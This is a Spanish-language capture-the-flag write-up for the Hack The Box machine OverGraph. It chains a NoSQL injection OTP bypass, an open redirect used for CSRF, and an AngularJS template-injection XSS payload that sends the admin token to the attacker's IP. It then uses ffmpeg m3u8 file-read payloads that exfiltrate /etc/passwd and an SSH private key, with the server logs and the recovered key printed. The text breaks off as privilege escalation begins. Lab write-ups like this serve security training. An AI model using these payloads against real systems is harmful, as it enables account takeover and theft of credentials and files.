OverGraph
30 minutos de lectura
- SO: Linux
- Dificultad: Difícil
- Dirección IP: 10.10.11.157
- Fecha: 30 / 04 / 2022
Escaneo de puertos
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.157 -p 22,80
Nmap scan report for 10.10.11.157
Host is up (0.045s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 34:a9:bf:8f:ec:b8:d7:0e:cf:8d:e6:a2:ce:67:4f:30 (RSA)
| 256 45:e1:0c:64:95:17:92:82:a0:b4:35:7b:68:ac:4c:e1 (ECDSA)
|_ 256 49:e7:c7:5e:6a:37:99:e5:26:ea:0e:eb:43:c4:88:59 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://graph.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 7.99 seconds
La máquina tiene abiertos los puertos 22 (SSH) y 80 (HTTP).
Enumeración
Si vamos a http://10.10.11.157
se nos redirige a http://graph.htb
. Por tanto, tenemos que poner este dominio en /etc/hosts
para ver la página web:
Si inspeccionamos el código fuente, vemos un código en JavaScript que realiza una redirección si redirect
aparece como parámetro de URL. Esto puede ser útil para después porque actúa como un Open Redirect:
De momento, vamos a enumerar más subdominios usando ffuf
:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-lowercase-2.3-medium.txt -u http://10.10.11.157 -H 'Host: FUZZ.graph.htb' -fl 8
internal [Status: 200, Size: 607, Words: 36, Lines: 15, Duration: 49ms]
Genial, vamos a añadir internal.graph.htb
a /etc/hosts
y a ver qué hay:
Tenemos un formulario de inicio de sesión. Podemos probar con credenciales por defecto, pero no funcionan. Algo interesante es que esta aplicación web está hecha en AngularJS. El archivo index.html
solamente carga los archivos CSS y JavaScript que renderizarán la página completa:
Se trata de una aplicación de una sola página (Single Page Application, SPA), por lo que no podremos enumerar rutas como suempre (con ffuf
). Sin embargo, podemos leer el archivo JavaScript principal (main.0681ef4e6f13e51b.js
) y extraer algunas rutas desde ahí:
$ curl internal.graph.htb/main.0681ef4e6f13e51b.js -s | grep -oE "['\"]/.*?['\"]" | grep -v "['\"]/*['\"]" | sort -u
"/("
"/dashboard"
"/g,'
"/graphql"
"/inbox"
"/logout"
"/profile"
"/register"
"/tasks"
"/uploads"
'/%3E%3C/g%3E%3C/g%3E%3C/svg%3E\"
'/%3E%3Cpath d='
'/%3E%3Cpath id='
'/graphql'
Vale, tenemos:
/dashboard
/graphql
/inbox
/logout
/profile
/register
/tasks
/uploads
Solamente las tres últimas rutas funcionan. Las otras redirigen al formulario de login, a excepción de /graphql
, que espera una consulta de GraphQL.
Esto es /register
:
Esto es /tasks
:
Y esto es /uploads
:
Esta subida de archivos de vídeo parece interesante. A lo mejor es explotable después.
Registrando una nueva cuenta
De momento, vamos a intentar registrar una nueva cuenta. Tenemos que añadir una dirección de correo que termine en @graph.htb
:
Y aparentemente, el servidor nos ha enviado un código OTP por correo, pero no tenemos esta dirección de correo. Vamos a capturar la petición con Burp Suite:
Vale, tenemos otro subdominio llamado internal-api.graph.htb
. Si probamos a enviar más códigos OTP, el servidor se bloquea después de 4 intentos. Por tanto, sacar el código OTP no parece que sea el camino.
De hecho, si analizamos el código JavaScript (previamente formateado con el depurador del navegador), podemos buscar por "register"
y descubrir cómo se registran las nuevas cuentas, evitando el código OTP:
Solo tenemos que enviar una petición POST a internal-api.graph.htb/api/register
con nuestros datos. Algo así:
$ curl internal-api.graph.htb/api/register -d '{"email":"rocky@graph.htb","username":"rocky","password":"asdffdsa","confirmPassword":"asdffdsa"}' -H 'Content-Type: application/json'
{"result":"Invalid Email / Email not verified"}
Vaya, parece que no será tan fácil. Entonces, tenemos que verificar nuestro email primero. Mirando a la petición en Burp Suite, vemos que el código OTP se envía como string en un documento JSON:
Entonces, podemos probar inyecciones y técnicas de Type Juggling. Finalmente, encontraremos que con un payload de inyección NoSQL (tomada de PayloadsAllTheThings) como {"$ne":"foo"}
, nos saltaríamos la verificación si el servidor es vulnerable:
Y lo es. Ahora tenemos una dirección de correo verificada y ya sí que podemos registrar la cuenta:
$ curl internal-api.graph.htb/api/register -d '{"email":"rocky@graph.htb","username":"rocky","password":"asdffdsa","confirmPassword":"asdffdsa"}' -H 'Content-Type: application/json'
{"result":"Account Created Please Login!"}
En este punto, podemos acceder a /dashboard
y /profile
:
Además, podemos ver un mensaje de Mark en /inbox
:
Nota: La máquina reinicia su base de datos cada rado, y también, los usuarios que escriben mensajes van cambiando entre Mark, Larry, Sally, Alen… De ahora en adelante, me referiré a otros usuarios como “Mark”.
Si inspeccionamos un poco más la web, veremos que la autenticación se realiza mediante tokens JWT:
Y también con localStorage
:
Encontrando vulnerabilidades
Si modificamos la clave admin
a "true"
, veremos un enlace a “Uploads” en la izquierda (aunque ya sabíamos que esta ruta /uploads
existía):
Además, sabemos que Mark es un usuario válido, y de hecho, si cambiamos nuestro username
y email
, entraremos en la sesión de Mark:
Pensando en la subida de archivos de vídeo, para poder usar la funcionalidad, necesitamos un adminToken
:
$ curl internal-api.graph.htb/admin/video/upload -d ''
{"result": "No adminToken header present"}
Como dice el mensaje de Mark, podríamos intentar enviarle una URL como mensaje y ver si accede. El chat está un poco roto, y para enviar mensajes, podemos hacer click en el botón mediante la consola de JavaScript:
Otra manera es inspeccionando la petición en el navegador y copiándola como comando curl
. Algo como esto (el error no importa):
$ curl internal-api.graph.htb/graphql -d '{"variables":{"to":"mark@graph.htb","text":"asdf"},"query":"mutation ($to: String!, $text: String!) { sendMessage(to: $to, text: $text) { toUserName fromUserName text to from __typename } }"}' -H 'Cookie: auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjYyZTcwYTI5NGUyOThkMDQzNGRkMWJkMiIsImVtYWlsIjoicm9ja3lAZ3JhcGguaHRiIiwiaWF0IjoxNjU5MzA4NTg5LCJleHAiOjE2NTkzOTQ5ODl9.ZPORWXX7amQ3DBCq4XgQES2peVoZ8NBy7Akjrc1dztc' -H 'Content-Type: application/json'
{"errors":[{"message":"Cannot read property 'length' of null","locations":[{"line":1,"column":43}],"path":["sendMessage"],"extensions":{"code":"INTERNAL_SERVER_ERROR","exception":{"stacktrace":["TypeError: Cannot read property 'length' of null"," at sendMessage (/home/user/onegraph/backend/graphql/resolvers/message.js:47:56)"," at processTicksAndRejections (internal/process/task_queues.js:95:5)"]}}}],"data":null}
Y así, podemos enviar un mensaje con nuestra IP como URL, de manera que Mark realiza una petición GET (podemos probar también con inyección HTML, para ver si podemos conseguir XSS fácilmente, pero no):
Y con esto, Mark accede a l URL y recibimos la petición:
$ nc -nlvp 80
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.11.157.
Ncat: Connection from 10.10.11.157:38078.
GET / HTTP/1.1
Host: 10.10.17.44
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Chrome/77
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US
En este punto, podemos pensar en maneras de obtener adminToken
. Asumiendo que adminToken
está guardado como una cookie o como una clave en localStorage
, finalmente tendremos que conseguir Cross-Site Scripting (XSS) en el navegador de la víctima para poder extraer el valor y enviárnoslo de algún modo.
Como la aplicación web está realizada con AngularJS (también conocido como Angular 1), es bastante antiguo y se sabe que es vulnerable a Client-Side Template Injection (que deriva en XSS).
La inyección aparece en firstname
y lastname
. Esta es una simple prueba de concepto:
Y podemos transformarla a XSS usando el siguiente payload (más información en portswigger.net):
{{constructor.constructor('alert(123)')()}}
Enumeración de GraphQL
Va siendo hora de analizar la implementación de GraphQL. Para esto, podemos usar graphqlmap
. Mediante una consulta de introspección, podemos ver las siguientes estructuras:
$ ./graphqlmap -u http://internal-api.graph.htb/graphql
_____ _ ____ _
/ ____| | | / __ \| |
| | __ _ __ __ _ _ __ | |__ | | | | | _ __ ___ __ _ _ __
| | |_ | '__/ _` | '_ \| '_ \| | | | | | '_ ` _ \ / _` | '_ \
| |__| | | | (_| | |_) | | | | |__| | |____| | | | | | (_| | |_) |
\_____|_| \__,_| .__/|_| |_|\___\_\______|_| |_| |_|\__,_| .__/
| | | |
|_| |_|
Author: @pentest_swissky Version: 1.0
GraphQLmap > dump_via_introspection
============= [SCHEMA] ===============
e.g: name[Type]: arg (Type!)
00: Query
Messages[None]:
tasks[None]: username (String!),
01: Message
to[String]:
from[String]:
text[String]:
toUserName[String]:
fromUserName[String]:
03: task
Assignedto[ID]:
username[]:
text[String]:
taskstatus[String]:
type[String]:
05: Mutation
login[User]: email (String!), password (String!),
update[User]: newusername (String!), id (ID!), firstname (String!), lastname (String!),
sendMessage[Message]: to (String!), text (String!),
assignTask[]: user (String!), text (String!), taskstatus (String!), type (String!),
06: User
username[String]:
id[ID]:
email[String]:
createdAt[String]:
token[]:
admin[String]:
adminToken[]:
firstname[]:
lastname[]:
07: __Schema
08: __Type
11: __Field
12: __InputValue
13: __EnumValue
14: __Directive
Esta consulta no es una vulnerabilidad de GraphQL, sino una funcionalidad. No obstante, se debería deshabilitar por razones de seguridad, ya que muestra toda la estructura de la implementación de GraphQL.
Existen dos tipos de consultas disponibles:
Messages
:
$ curl internal-api.graph.htb/graphql -d '{"variables":{},"query":"{ Messages { toUserName fromUserName text to from __typename } }"}' -H 'Cookie: auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjYyZTcwYTI5NGUyOThkMDQzNGRkMWJkMiIsImVtYWlsIjoicm9ja3lAZ3JhcGguaHRiIiwiaWF0IjoxNjU5MzA4NTg5LCJleHAiOjE2NTkzOTQ5ODl9.ZPORWXX7amQ3DBCq4XgQES2peVoZ8NBy7Akjrc1dztc' -sH 'Content-Type: application/json' | jq
{
"data": {
"Messages": [
{
"toUserName": "rocky",
"fromUserName": "Larry",
"text": "Hey, We just realized that this email is not listed in our employee list. Can you send any links or documents so we can verify them on our end? Thanks",
"to": "rocky@graph.htb",
"from": "larry@graph.htb",
"__typename": "Message"
},
{
"toUserName": "Larry",
"fromUserName": "rocky",
"text": "asdf",
"to": "larry@graph.htb",
"from": "rocky@graph.htb",
"__typename": "Message"
},
...
]
}
}
tasks
:
$ curl internal-api.graph.htb/graphql -d '{"variables":{"username":"rocky"},"query":"query tasks($username: String!) { tasks(username: $username) { Assignedto username text taskstatus type __typename } }"}' -H 'Cookie: auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjYyZTcwYTI5NGUyOThkMDQzNGRkMWJkMiIsImVtYWlsIjoicm9ja3lAZ3JhcGguaHRiIiwiaWF0IjoxNjU5MzA4NTg5LCJleHAiOjE2NTkzOTQ5ODl9.ZPORWXX7amQ3DBCq4XgQES2peVoZ8NBy7Akjrc1dztc' -sH 'Content-Type: application/json' | jq
{
"data": {
"tasks": []
}
}
También podemos modificar datos de GraphQL usando mutaciones o mutations (login
, update
, sendMessage
y assignTask
). Para poder actualizar los datos de usuario, tenemos que enviar el ID de usuario. Este es nuestro ID de usuario, que aparece en el token JWT:
$ echo eyJpZCI6IjYyZTcyNWMwNGUyOThkMDQzNGRkMWRlOSIsImVtYWlsIjoicm9ja3lfNDI4QGdyYXBoLmh0YiIsImlhdCI6MTY1OTMxNTY0OSwiZXhwIjoxNjU5NDAyMDQ5fQ== | base64 -d | jq
{
"id": "62e725c04e298d0434dd1de9",
"email": "rocky_428@graph.htb",
"iat": 1659315649,
"exp": 1659402049
}
Y podemos consultar tareas asignadas a Mark para obtener su ID (clave Assignedto
):
$ curl internal-api.graph.htb/graphql -d '{"variables":{"username":"Mark"},"query":"query tasks($username: String!) { tasks(username: $username) { Assignedto username text taskstatus type __typename } }"}' -H 'Cookie: auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjYyZTcwYTI5NGUyOThkMDQzNGRkMWJkMiIsImVtYWlsIjoicm9ja3lAZ3JhcGguaHRiIiwiaWF0IjoxNjU5MzA4NTg5LCJleHAiOjE2NTkzOTQ5ODl9.ZPORWXX7amQ3DBCq4XgQES2peVoZ8NBy7Akjrc1dztc' -sH 'Content-Type: application/json' | jq
{
"data": {
"tasks": [
{
"Assignedto": "62e725911b49ab0b7ac8372a",
"username": null,
"text": "Lorem ipsum",
"taskstatus": "completed",
"type": "development"
}
]
}
}
Acceso a la máquina
Vamos a planear la estrategia:
- El objetivo final es obtener
adminToken
de Mark, que es muy probable que esté guardado enlocalStorage
- Por tanto, solo el usuario (Mark) puede acceder a esta información desde
internal.graph.htb
(localStorage
solo es accesible desde el mismo dominio en el que se configuró). - Entonces, la manera de acceder a
localStorage
tiene que ser con XSS (desde el Client-Side Template Injection de AngularJS enfirstname
ylastname
) - Para cambiar el
firstname
de la víctima, tenemos que actualizar su perfil mediante una mutación de GraphQL (update
) enviando su ID de usuario - Podemos obtener el ID de usuario de la víctima con una consulta GraphQL (
tasks
)
Explotación para obtener adminToken
Perfecto, ahora tenemos que descubrir como forzar a la víctima a que actualice su perfil.
Aquí tenemos que recordar la vulnerabilidad de Open Redirect presente en http://graph.htb/?redirect=
. Podemos usarla para apuntar a nuestra máquina de atacante y cargar un código JavaScript malicioso que realice la mutación update
. Pero esto no va a funcionar porque el servidor necesita la cookie auth
con un token JWT válido, y la cookie tiene el parámetro httpOnly
a true
(por lo que no podemos acceder a las cookies desde JavaScript).
Por tanto, la mutación tiene que realizarse desde el mismo sitio http://graph.htb
, de manera que las cookies viajen en la petición. Y esto se puede conseguir ejecutando JavaScrip en línea. Por ejemplo:
http://graph.htb/?redirect=javascript:eval('alert(123)')
Y con esto tenemos la manera de decirle al usuario que actualice su perfil (Cross-Site Request Forgery). Solamente tenemos que enviar una URL al chat con el código JavaScript en línea para realizar la mutación. Y esta mutación contendrá el payload de XSS de AngularJS en el campo firstname
, de manera que podemos acceder a localStorage
y sacar adminToken
.
Para enviar una gran cantidad de código JavaScrip en línea, podemos codificarlo en Base64 y usar javascript:eval(atob`<base64-data>`)
(es importante que no aparezcan caracteres =
de relleno).
Este será el código que hará que la víctima actualice su propio perfil con la mutación de GraphQL:
fetch('http://internal-api.graph.htb/graphql', {
method: 'POST',
credentials: 'include',
mode: 'no-cors',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
variables: {
newusername: 'Mark',
id: '<id>',
firstname: `<AngularJS XSS>`,
lastname: 'asdf'
},
query: `
mutation update($newusername: String!, $id: ID!, $firstname: String!, $lastname: String!) {
update(newusername: $newusername, id: $id, firstname: $firstname, lastname: $lastname) {
__typename
}
}
`
})
})
Y el payload de XSS de AngularJS será este:
{{constructor.constructor('fetch("http://10.10.17.44/" + localStorage.getItem("adminToken"))')()}}
En este punto, decidí automatizar todo en un script en Python llamado get_admin_token.py
para probar todo y encadenar correctamente todas las técnicas de explotación web necesarias (explicación detallada aquí). Finalmente, obtendremos un adminToken
válido:
$ python3 get_admin_token.py
[+] Logged in as rocky (password: asdffdsa)
[*] JWT token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjYyZTdhNmRmNGUyOThkMDQzNGRkMWZjMyIsImVtYWlsIjoicm9ja3lAZ3JhcGguaHRiIiwiaWF0IjoxNjU5MzQ5MTMwLCJleHAiOjE2NTk0MzU1MzB9.buvUeGkubEoMwDRN-aoH28l2ynIVjdX1HXInWK4mPrM
[*] Own user ID: 62e7a6df4e298d0434dd1fc3
[+] Victim's ID: 62e7a42181fe151459e90ea6
[+] Trying to bind to :: on port 80: Done
[+] Waiting for connections on :::80: Got connection from ::ffff:10.10.11.157 on port 34196
[*] Closed connection to ::ffff:10.10.11.157 port 34196
[+] adminToken: c0b9db4c8e4bbb24d59a3aaffa8c8b83
Ahora podemos poner este token en localStorage
y usar la funcionalidad de subida de vídeos:
Explotación de la subida de archivos de vídeo
En este punto, podemos deducir que el servidor utiliza ffmpeg
para procesar el archivo de vídeo. Existen algunar vulnerabilidades relacionadas con Server-Side Request Forgery y lectura de archivos locales (más información en hackerone.com y PayloadsAllTheThings).
Para poder leer archivos del servidor (de acuerdo con el informe de hackerone.com), tenemos que tener un archivo llamado header.m3u8
como este:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
http://10.10.17.44?
Y sin carácter de salto de línea al final. Luego, tenemos que subir un archivo llamado vide.avi
(por ejemplo), con el siguiente texto:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://10.10.17.44/header.m3u8|file:///etc/passwd
#EXT-X-ENDLIST
Y el payload de arriba servirá para leer la primera línea del archivo /etc/passwd
de la máquina con un servidor HTTP:
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.10.11.157 - - [] "GET /header.m3u8 HTTP/1.1" 200 -
::ffff:10.10.11.157 - - [] "GET /header.m3u8 HTTP/1.1" 200 -
::ffff:10.10.11.157 - - [] "GET ?root:x:0:0:root:/root:/bin/bash HTTP/1.1" 301 -
::ffff:10.10.11.157 - - [] "GET ?root:x:0:0:root:/?root:x:0:0:root:/root:/bin/bash HTTP/1.1" 301 -
...
Para conseguir más datos, tenemos que cambiar el video.avi
un poco:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://10.10.17.44/header.m3u8|subfile,,start,1,end,10000,,:/etc/passwd
#EXT-X-ENDLIST
Con el payload anterior, estaremos recibiendo datos hasta un caracter de salto de línea, por lo que iremos actualizando el offset start
para conseguir más líneas.
Al tener una vulnerabilidad de lectura de archivos locales, podemos buscar por código fuente y claves privadas de SSH. En lugar de extraer el archivo /etc/passwd
al completo para ver usuarios de sistema, podemos causar un fallo en el servidor y ver una traza de error que muestra una ruta absoluta:
$ curl internal-api.graph.htb/api/register -d '{' -H 'Content-Type: application/json'
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>SyntaxError: Unexpected end of JSON input<br> at JSON.parse (<anonymous>)<br> at parse (/home/user/onegraph/backend/node_modules/body-parser/lib/types/json.js:89:19)<br> at /home/user/onegraph/backend/node_modules/body-parser/lib/read.js:121:18<br> at invokeCallback (/home/user/onegraph/backend/node_modules/raw-body/index.js:224:16)<br> at done (/home/user/onegraph/backend/node_modules/raw-body/index.js:213:7)<br> at IncomingMessage.onEnd (/home/user/onegraph/backend/node_modules/raw-body/index.js:273:7)<br> at IncomingMessage.emit (events.js:412:35)<br> at endReadableNT (internal/streams/readable.js:1334:12)<br> at processTicksAndRejections (internal/process/task_queues.js:82:21)</pre>
</body>
</html>
$ curl internal-api.graph.htb/api/register -d '{' -sH 'Content-Type: application/json' | grep -oE '/home.*?:'
/home/user/onegraph/backend/node_modules/body-parser/lib/types/json.js:
/home/user/onegraph/backend/node_modules/body-parser/lib/read.js:
/home/user/onegraph/backend/node_modules/raw-body/index.js:
/home/user/onegraph/backend/node_modules/raw-body/index.js:
/home/user/onegraph/backend/node_modules/raw-body/index.js:
Vale, entonces user
es un usuario válido. En este punto, podemos obtener la flag user.txt
usando la subida de archivos de vídeo:
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.10.11.157 - - [] "GET /header.m3u8 HTTP/1.1" 200 -
::ffff:10.10.11.157 - - [] "GET /header.m3u8 HTTP/1.1" 200 -
::ffff:10.10.11.157 - - [] "GET ?09753d50eb14c51fc58b94afb5eedcc3 HTTP/1.1" 301 -
::ffff:10.10.11.157 - - [] "GET ?09753d50eb14c51fc58b94afb5eedcc3/?09753d50eb14c51fc58b94afb5eedcc3 HTTP/1.1" 301 -
...
Para ganar acceso a la máquina, tenemos que extraer el archivo /home/user/.ssh/id_rsa
:
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.10.11.157 - - [01/Aug/2022 14:19:39] "GET /header.m3u8 HTTP/1.1" 200 -
::ffff:10.10.11.157 - - [01/Aug/2022 14:19:39] "GET /header.m3u8 HTTP/1.1" 200 -
::ffff:10.10.11.157 - - [01/Aug/2022 14:19:40] code 400, message Bad request syntax ('GET ?-----BEGIN OPENSSH PRIVATE KEY----- HTTP/1.1')
::ffff:10.10.11.157 - - [01/Aug/2022 14:19:40] "GET ?-----BEGIN OPENSSH PRIVATE KEY----- HTTP/1.1" 400 -
Como va a ser muy aburrido extraer el archivo entero de forma manual, es mejor usar un script en Python para automatizarlo: extract_id_rsa.py
(explicación detallada aquí):
$ python3 extract_file.py 10.10.17.44 c0b9db4c8e4bbb24d59a3aaffa8c8b83
* Serving Flask app 'extract_file' (lazy loading)
* Environment: production
WARNING: This is a development server. Do not use it in a production deployment.
Use a production WSGI server instead.
* Debug mode: on
* Running on all addresses (0.0.0.0)
WARNING: This is a development server. Do not use it in a production deployment.
* Running on http://0.0.0.0:80 (Press CTRL+C to quit)
* Restarting with stat
* Debugger is active!
* Debugger PIN: XXX-XXX-XXX
10.10.11.157 - - [] "GET /header.m3u8 HTTP/1.1" 200 -
10.10.11.157 - - [] "GET /header.m3u8 HTTP/1.1" 200 -
10.10.11.157 - - [] "GET /?d=b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW HTTP/1.1" 200 -
10.10.11.157 - - [] "GET /header.m3u8 HTTP/1.1" 200 -
10.10.11.157 - - [] "GET /header.m3u8 HTTP/1.1" 200 -
10.10.11.157 - - [] "GET /header.m3u8 HTTP/1.1" 200 -
10.10.11.157 - - [] "GET /?d=QyNTUxOQAAACAvdFWzL7vVSn9cH6fgB3Sgtt2OG4XRGYh5ugf8FLAYDAAAAJjebJ3U3myd HTTP/1.1" 200 -
10.10.11.157 - - [] "GET /header.m3u8 HTTP/1.1" 200 -
10.10.11.157 - - [] "GET /header.m3u8 HTTP/1.1" 200 -
10.10.11.157 - - [] "GET /header.m3u8 HTTP/1.1" 200 -
10.10.11.157 - - [] "GET /?d=1AAAAAtzc2gtZWQyNTUxOQAAACAvdFWzL7vVSn9cH6fgB3Sgtt2OG4XRGYh5ugf8FLAYDA HTTP/1.1" 200 -
10.10.11.157 - - [] "GET /header.m3u8 HTTP/1.1" 200 -
10.10.11.157 - - [] "GET /header.m3u8 HTTP/1.1" 200 -
10.10.11.157 - - [] "GET /header.m3u8 HTTP/1.1" 200 -
10.10.11.157 - - [] "GET /?d=AAAEDzdpSxHTz6JXGQhbQsRsDbZoJ+8d3FI5MZ1SJ4NGmdYC90VbMvu9VKf1wfp+AHdKC2 HTTP/1.1" 200 -
10.10.11.157 - - [] "GET /header.m3u8 HTTP/1.1" 200 -
10.10.11.157 - - [] "GET /header.m3u8 HTTP/1.1" 200 -
10.10.11.157 - - [] "GET /header.m3u8 HTTP/1.1" 200 -
10.10.11.157 - - [] "GET /?d=3Y4bhdEZiHm6B/wUsBgMAAAADnVzZXJAb3ZlcmdyYXBoAQIDBAUGBw== HTTP/1.1" 200 -
10.10.11.157 - - [] "GET /header.m3u8 HTTP/1.1" 200 -
10.10.11.157 - - [] "GET /header.m3u8 HTTP/1.1" 200 -
10.10.11.157 - - [] "GET /header.m3u8 HTTP/1.1" 200 -
10.10.11.157 - - [] code 400, message Bad request syntax ('GET /?d=-----END OPENSSH PRIVATE KEY----- HTTP/1.1')
10.10.11.157 - - [] "GET /?d=-----END OPENSSH PRIVATE KEY----- HTTP/1.1" HTTPStatus.BAD_REQUEST -
^C
$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACAvdFWzL7vVSn9cH6fgB3Sgtt2OG4XRGYh5ugf8FLAYDAAAAJjebJ3U3myd
1AAAAAtzc2gtZWQyNTUxOQAAACAvdFWzL7vVSn9cH6fgB3Sgtt2OG4XRGYh5ugf8FLAYDA
AAAEDzdpSxHTz6JXGQhbQsRsDbZoJ+8d3FI5MZ1SJ4NGmdYC90VbMvu9VKf1wfp+AHdKC2
3Y4bhdEZiHm6B/wUsBgMAAAADnVzZXJAb3ZlcmdyYXBoAQIDBAUGBw==
-----END OPENSSH PRIVATE KEY-----
Enumeración del sistema
Y ahora tenemos acceso a la máquina mediante SSH:
$ chmod 600 id_rsa
$ ssh -i id_rsa user@10.10.11.157
user@overgraph:~$ cat user.txt
09753d50eb14c51fc58b94afb5eedcc3
Al analizar procesos en ejecución como root
, vemos uno extraño:
user@overgraph:~$ ps -faux | grep root
...
root 8623 0.0 0.0 0 0 ? I 14:41 0:00 \_ [kworker/0:2-events]
root 8656 0.0 0.0 0 0 ? I 14:45 0:00 \_ [kworker/u256:0-events_power_efficient]
root 1 0.0 0.2 103796 11208 ? Ss Jul31 0:04 /sbin/init maybe-ubiquity
root 491 0.0 0.4 67848 16268 ? S<s Jul31 0:01 /lib/systemd/systemd-journald
root 517 0.0 0.1 21368 5436 ? Ss Jul31 0:01 /lib/systemd/systemd-udevd
root 662 0.0 0.4 214596 17944 ? SLsl Jul31 0:06 /sbin/multipathd -d -s
root 705 0.0 0.2 47540 10608 ? Ss Jul31 0:00 /usr/bin/VGAuthService
root 710 0.1 0.2 311508 8332 ? Ssl Jul31 0:58 /usr/bin/vmtoolsd
root 711 0.0 0.1 99896 5804 ? Ssl Jul31 0:00 /sbin/dhclient -1 -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
root 756 0.0 0.2 239276 9268 ? Ssl Jul31 0:01 /usr/lib/accountsservice/accounts-daemon
root 780 0.0 0.0 81956 3788 ? Ssl Jul31 0:02 /usr/sbin/irqbalance --foreground
root 787 0.0 0.1 16660 7756 ? Ss Jul31 0:00 /lib/systemd/systemd-logind
root 788 0.0 0.3 394876 13472 ? Ssl Jul31 0:00 /usr/lib/udisks2/udisksd
root 815 0.0 0.2 236416 9100 ? Ssl Jul31 0:00 /usr/lib/policykit-1/polkitd --no-debug
root 932 0.0 0.0 6812 2996 ? Ss Jul31 0:00 /usr/sbin/cron -f
root 933 0.0 0.0 8480 3384 ? S Jul31 0:00 \_ /usr/sbin/CRON -f
root 934 0.0 0.0 8480 3384 ? S Jul31 0:00 \_ /usr/sbin/CRON -f
root 935 0.0 0.0 8352 3356 ? S Jul31 0:00 \_ /usr/sbin/CRON -f
root 949 0.0 0.0 2608 536 ? Ss Jul31 0:00 \_ /bin/sh -c sh -c 'socat tcp4-listen:9851,reuseaddr,fork,bind=127.0.0.1 exec:/usr/local/bin/Nreport/nreport,pty,stderr'
root 950 0.0 0.0 2608 536 ? S Jul31 0:00 \_ sh -c socat tcp4-listen:9851,reuseaddr,fork,bind=127.0.0.1 exec:/usr/local/bin/Nreport/nreport,pty,stderr
root 951 0.0 0.0 6964 1828 ? S Jul31 0:00 \_ socat tcp4-listen:9851,reuseaddr,fork,bind=127.0.0.1 exec:/usr/local/bin/Nreport/nreport,pty,stderr
root 964 0.0 0.1 12172 7324 ? Ss Jul31 0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root 8687 0.0 0.2 13660 8772 ? Ss 14:46 0:00 \_ sshd: user [priv]
user 8804 0.0 0.0 6300 656 pts/0 S+ 14:48 0:00 \_ grep --color=auto root
root 966 0.0 0.0 55276 1564 ? Ss Jul31 0:00 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
root 970 0.0 0.0 5828 1824 tty1 Ss+ Jul31 0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
root 981 0.0 0.1 6532 5004 ? Ss Jul31 0:02 /usr/sbin/apache2 -k start
Se trata de este comando:
socat tcp4-listen:9851,reuseaddr,fork,bind=127.0.0.1 exec:/usr/local/bin/Nreport/nreport,pty,stderr
El comando ejecuta un archivo binario en /usr/local/bin/Nreport/nreport
:
user@overgraph:~$ file /usr/local/bin/Nreport/nreport
/usr/local/bin/Nreport/nreport: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /usr/local/bin/Nreport/libc/ld-2.25.so, for GNU/Linux 3.2.0, BuildID[sha1]=fab56bbb7a23ada8a8f5943b527d16f3cdcb09e5, not stripped
user@overgraph:~$ ls -l /usr/local/bin/Nreport/nreport
-rwxr-xr-x 1 root root 26040 Feb 14 12:30 /usr/local/bin/Nreport/nreport
Escalada de privilegios
Es muy probable que tengamos que explotar este binario para convertirnos en root
. Vamos a descargar el binario para analizarlo con Ghidra:
user@overgraph:~$ cd /usr/local/bin/Nreport/
user@overgraph:/usr/local/bin/Nreport$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.17.44 - - [] "GET /nreport HTTP/1.1" 200 -
^C
Keyboard interrupt received, exiting.
$ wget -q 10.10.11.157:8000/nreport
Además, sería bueno descargar las librerías compartidas usadas por el binario para tener el mismo entorno de trabajo que en la máquina remota:
user@overgraph:/usr/local/bin/Nreport$ ll
total 40
drwxr-xr-x 3 root root 4096 Apr 12 17:38 ./
drwxr-xr-x 3 root root 4096 Apr 12 17:38 ../
drwxr-xr-x 2 root root 4096 Feb 14 18:31 libc/
-rwxr-xr-x 1 root root 26040 Feb 14 12:30 nreport*
